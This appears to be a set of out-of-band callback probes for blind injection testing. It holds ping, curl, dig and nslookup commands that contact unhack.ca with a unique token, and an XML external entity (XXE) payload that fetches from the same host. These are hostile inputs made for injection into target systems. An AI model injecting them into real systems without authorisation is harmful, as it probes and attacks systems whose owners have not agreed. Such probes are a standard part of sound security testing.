$ ping -c1 -p 00f1f59145c446f3d0134773b5c2e900 unhack.ca
$ curl http://unhack.ca/p/f1f59145c446f3d0134773b5c2e9
$ dig f1f59145c446f3d0134773b5c2e9 @unhack.ca
$ dig f1f59145c446f3d0134773b5c2e9.ns.unhack.ca
C:\> nslookup f1f59145c446f3d0134773b5c2e9 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1f59145c446f3d0134773b5c2e9">]> <foo>&xxe;</foo>